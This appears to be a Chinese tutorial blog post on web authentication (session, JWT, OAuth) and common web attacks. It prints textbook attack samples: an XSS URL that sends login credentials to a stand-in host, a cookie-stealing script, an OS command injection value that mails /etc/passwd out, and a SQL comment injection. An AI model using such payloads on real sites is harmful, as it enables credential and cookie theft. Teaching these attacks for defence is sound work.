鉴权与Web安全

作者: 学的会的前端 | 来源:发表于2019-03-25 13:50 被阅读1次

鉴权与Web安全
15 Go 鉴权（一）：鉴权机制概述
Koa 使用 JWT 实现鉴权
谈谈Web系统中的用户登录安全性
Kubernetes 安全框架
Web 用户鉴权
Angular---怎样做鉴权
鉴权和权限管理的探索
04-15动态路由的实现与优化
web安全

什么是鉴权

鉴权（authentication）是指验证用户是否拥有访问系统的权利。传统的鉴权是通过密码来验证的。这种方式的前提是，每个获得密码的用户都已经被授权。在建立用户时，就为此用户分配一个密码，用户的密码可以由管理员指定，也可以由用户自行申请。这种方式的弱点十分明显：一旦密码被偷或用户遗失密码，情况就会十分麻烦，需要管理员对用户密码进行重新修改，而修改密码之前还要人工验证用户的合法身份。
为了克服这种鉴权方式的缺点，需要一个更加可靠的鉴权方式。目前的主流鉴权方式是利用认证授权来验证数字签名的正确与否。

面试题

网站常见的鉴权认证方式有哪几种？

Session机制
JWT机制
Auth2机制

Session认证的原理

Session鉴权原理.jpg
解析：第一次登陆网站的时候，需要填写用户名和密码，之后push到服务器上，因为是第一次注册，服务器先去查看一下用户名是否被人用过，如果已经被人使用，需要重新注册一个用户名，若没有，则可以进行创建。创建有两种方法：第一种是把用户名和密码直接保存在数据库中，这种方法对于服务器来说，有风险，一旦数据库密码被攻破了，数据就会被泄露。第二种方法：数据库不存储明文密码，只存储用户名之后生成一个随机数，之后输入的密码和随机数通过SHA256（单向散列函数）进行处理，把密码加随机数生成一个字符串，把这个字符串（secret）和随机数（salt）和用户名（username）存储起来。当用户进行登录的时候，首先数据库进行查找，有无这个用户名，如果有的话，就会进行一个计算，用密码和随机数通过SHA256进行处理，得到一个随机字符串，把这个字符串和之前的进行比较，如果是一样的，则表示密码正确。之后再服务器创建一个对象（session），存到内存（小数据）中或者数据库中，服务器发送响应给浏览器，响应报文中有一个Set-Cookie:s_id=1b3ra9字段，浏览器发现这个字段就把他放到cookie中，下一次用户再一次请求的时候，请求会自动带cookie字段，服务器收到带cookie请求，则先进行比较，找到相同的s_id，之后发送更多的信息返回给浏览器。

JWT认证的原理

全称：JSON Web Token

JWT鉴权原理.jpg
解析：假设已经注册好，服务器只要生成token就可以了，之后把token返回给客户端。token = str1+'.'+str2+'.'+str3。浏览器需要手动的把token存储起来，可以存在cookie里，下一次发送请求的时候只需要/user?jwt_token=xxx就可以了。服务器收到请求后，要对token进行验证。（图片上步骤8）base64加密解密方法。

再一次发送请求的方法：
- /user?jwt_token=xxx；
- 或者把token放到请求头（Authorization）里面。
优点：
- 任何地方都可以使用，使用范围广泛。（只需要把Token在客户端保存起来）
- 服务器额存储压力小，session是需要进行存储的，但是Token不需要。
缺点：
- 增加了计算压力，每个请求到达，都要进行计算。
- cookie的续期比较麻烦。
- 点击了发送请求后，立即点击注销，但是cookie还是存在。

Auth2认证的流程

Auth原理.jpg

使用场景
- 网站会有一个登陆，（比如QQ登陆），第三方账号登陆，没有注册，登陆后会回到当前网站。
流程
网站找认证服务器要用户的数据。网站必须拿到用户允许服务器给数据的凭证，否则服务器不会随意给数据。用户向服务器奥认证，服务器询问是否确定给凭证，用户回复确定才会给凭证。
- （9）步骤：一定要有凭据、自己的名片、自己的密钥。

和JWT相比Session机制有哪些缺点

如果摆脱浏览器，没有cookie，不能用在任何场景。（小程序、终端、app）
如果把session放在内存中，则会导致占用大量内存。
当采用分布式的时候，如果把数据存储在数据库中，则进行处理会比较麻烦。
如果存在XSS漏洞，cookie容易泄露。

Session机制如何能尽量保证安全

对保存到cookie里面的敏感信息必须加密
设置HttpOnly为true（针对http）
- 该属性值的作用就是防止Cookie值被页面脚本读取。
- 但是设置HttpOnly属性，HttpOnly属性只是增加了攻击者的难度，Cookie盗窃的威胁并没有彻底消除，因为cookie还是有可能传递的过程中被监听捕获后信息泄漏。
设置Secure为true（针对HTTPS）
- 给Cookie设置该属性时，只有在https协议下访问的时候，浏览器才会发送该Cookie。
- 把cookie设置为secure，只保证cookie与WEB服务器之间的数据传输过程加密，而保存在本地的cookie文件并不加密。如果想让本地cookie也加密，得自己加密数据。
给Cookie设置有效期
- 如果不设置有效期，万一用户获取到用户的Cookie后，就可以一直使用用户身份登录。
- 在设置Cookie认证的时候，需要加入两个时间，一个是“即使一直在活动，也要失效”的时间，一个是“长时间不活动的失效时间”，并在Web应用中，首先判断两个时间是否已超时，再执行其他操作。
一定不要在cookie中存储重要和敏感的数据
JavaScript中cookie那些事
cookie数据并非存储在一个安全的环境中，其中包含的任何数据都可以被其他人访问到，所以不要在cookie中存储如银行卡或个人地址之类的数据。

针对Web的攻击技术

主动攻击
- SQL注入攻击
- OS命令注入攻击
- 会话劫持
被动攻击
- XSS攻击
- CSRF攻击
- HTTP首部注入攻击
- 会话固定攻击

XSS攻击原理

XSS是什么
跨站脚本攻击（Cross-Site Scripting,XSS）是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。XSS是攻击者利用鱼线设置的陷阱触发的被动攻击。例如：动态创建的HTML部分有可能隐藏着安全漏洞。

影响：
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
避免方法：
- 所有用户输入的地方都不安全。
- 所有展示用户输入的地方都不安全。
- js里面不要用eval。
- 尽量少的使用innerHTML，使用innerText。
攻击案列：

在表单中设下圈套

http://example.jp/login?ID="><script>var+f=document=>
.getElementById('login');+f.action="http://hackr.jp/pwget";+f.method=>
"get";</script><span+s="

浏览器打开URI后，直观上没有发生任何变化，但设置好的脚本偷偷开始运行了，当用户在表单内输入ID和密码之后，就会直接发送到攻击者的网站（也就是hackr.jp）,导致个人登录信息被窃取。

对用户Cookie的窃取攻击
恶意构造的脚本同样能够以跨站脚本攻击的方式，窃取到用户的Cookie。

<script src = http://hackr.jp/xss.js></script>

该脚本内指定的http://hackr.jp/xss.js文件，即下面这段采用JS编写的代码

var content = escape(document.cookie)
document.write("<img src = http://hackr.jp/?")
document.write(content)
document.write(">")

在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序，即可访问到该Web应用处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站（http://havkr.jp），记录在他的登录日志中，结果，攻击者就这样窃取到用户的Cookie信息了。

CSRF攻击原理

聊聊CSRF
跨站点请求伪造（CSRF）攻击是指攻击者通过设置好的陷阱，强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新，属于被动攻击。

跨站点请求伪造造成的影响：
- 利用已通过认证的用户权限更新设定信息等。
- 利用已通过认证的用户权限购买商品。
- 利用已通过认证的用户权限在留言板上发表言论。
anti-csrf-token的方案
- 服务端在收到路由请求时，生成一个随机数，在渲染请求页面时把随机数埋入页面（一般埋入 form 表单内，<input type="hidden" name="_csrf_token" value="xxxx">）
- 服务端设置setCookie，把该随机数作为cookie或者session种入用户浏览器
- 当用户发送 GET 或者 POST 请求时带上_csrf_token参数（对于 Form 表单直接提交即可，因为会自动把当前表单内所有的 input 提交给后台，包括_csrf_token）
- 后台在接受到请求后解析请求的cookie获取_csrf_token的值，然后和用户请求提交的_csrf_token做个比较，如果相等表示请求是合法的。
需要注意的点：
- Token 保存在 Session 中。假如 Token 保存在 Cookie 中，用户浏览器开了很多页面。在一些页面 Token 被使用消耗掉后新的Token 会被重新种入，但那些老的 Tab 页面对应的 HTML 里还是老 Token。这会让用户觉得为啥几分钟前打开的页面不能正常提交？
- 尽量少用 GET。假如攻击者在我们的网站上传了一张图片，用户在加载图片的时候实际上是向攻击者的服务器发送了请求，这个请求会带有referer表示当前图片所在的页面的 url。而如果使用 GET 方式接口的话这个 URL 就形如：

https://xxxx.com/gift?giftId=aabbcc&_csrf_token=xxxxx

，那相当于攻击者就获取了_csrf_token，短时间内可以使用这个 token 来操作其他 GET 接口。

SQL注入攻击

什么是SQL？
SQL是用来操作关系型数据库管理系统的数据库语言，可进行操作数据或定义数据等。
什么是SQL注入？
SQL注入是指针对Web应用使用的数据库，通过运行非法的SQL而产生的攻击。如果在调用SQL语句的方式上存在疏漏，就有可能执行被恶意注入非法SQL语句。
SQL案例：

SELECT * FROM bookTb1 WHERE author = '作者'--' and flag = 1

SQL语句中的--之后全部视为注释，即and flag = 1就会被忽略。

OS命令注入攻击

什么是OS命令注入攻击？
OS命令注入攻击是指通过Web应用，执行非法的操作系统命令达到攻击的目的。
如何攻击？
可以从Web应用中通过Shell来调用操作系统命令。如果调用的Shell时存在疏漏，就可以执行插入的非法OS命令。通过OS注入攻击可执行OS上安装的各种程序。
示例：

|/usr /sbin /sendmail ; cat /etc / passwd | mail hack@example.jp

攻击者输入值（; cat /etc / passwd | mail hack@example.jp）中含有分号（；）。这个符号在OS命令中，会被解析为分隔多个执行命令的标记。sendmail命令执行被分隔后，接下去就会执行cat/etc/passwd|mail hack@example.jp这样的命令了，结果，含有Linux账户信息/etc/psswd的文件，就以邮件形式发送给了hack@example.jp。

HTTP首部注入攻击

什么是HTTP首部注入攻击？
HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行，添加任意响应首部虎皮主体的一种攻击。
什么是HTTP响应截断攻击？
向首部主体内添加内容的攻击称为HTTP响应截断攻击。
HTTP首部注入攻击的影响：
- 设置任何Cookie信息。
- 重定向至任意的URL。
- 显示任意的主体（HTTP响应截断攻击）。

会话劫持（Session Hijack）

会话劫持是指攻击者通过某种手段（例如：XSS获取对方的Cookie得到ID）拿到了用户的会话ID，并非法使用此ID伪装成用户，达到攻击的目的。

获取会话ID的途径
1. 通过非正规的生成方法推测会话ID；
2. 通过窃听或XSS攻击盗取会话ID；
3. 通过会话固定攻击（Session Fixation）强行获取会话ID。

会话固定攻击

会话固定攻击强制用户使用攻击者指定的会话ID。

会话固定攻击案例：
1. 攻击者登录页面
2. 服务器发向攻击者发布一个会话ID（http://example.com/SID=f5d1234567），该会话ID（未认证）状态。
3. 将2中的URL作为陷阱，诱导用户前去认证。
4. 用户认证后，会话ID（用户已认证）状态。
5. 4之后再用2中的URL访问。